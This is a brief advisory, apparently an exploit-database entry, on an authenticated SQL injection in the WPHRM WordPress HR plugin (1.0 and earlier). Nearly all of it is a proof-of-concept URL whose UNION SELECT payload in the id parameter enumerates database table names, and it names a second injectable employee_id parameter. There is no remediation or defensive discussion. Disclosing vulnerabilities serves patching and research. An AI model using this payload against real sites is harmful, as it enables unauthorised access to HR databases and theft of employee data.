WPHRM <= 1.0 - Authenticated SQL Injection

The vulnerability allows an employee users to inject SQL commands.

PoC

http://localhost/[PATH]/?hr-dashboard=user&amp;page;=message&amp;tab;=view_message&amp;from;=inbox&amp;id;=[SQL]-23+union+select 1,2,3,4,5,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),7,8–%20- http://localhost/[PATH]/?hr-dashboard=user&amp;page;=user&amp;tab;=view_employee&amp;action;=view&amp;employee;_id=[SQL]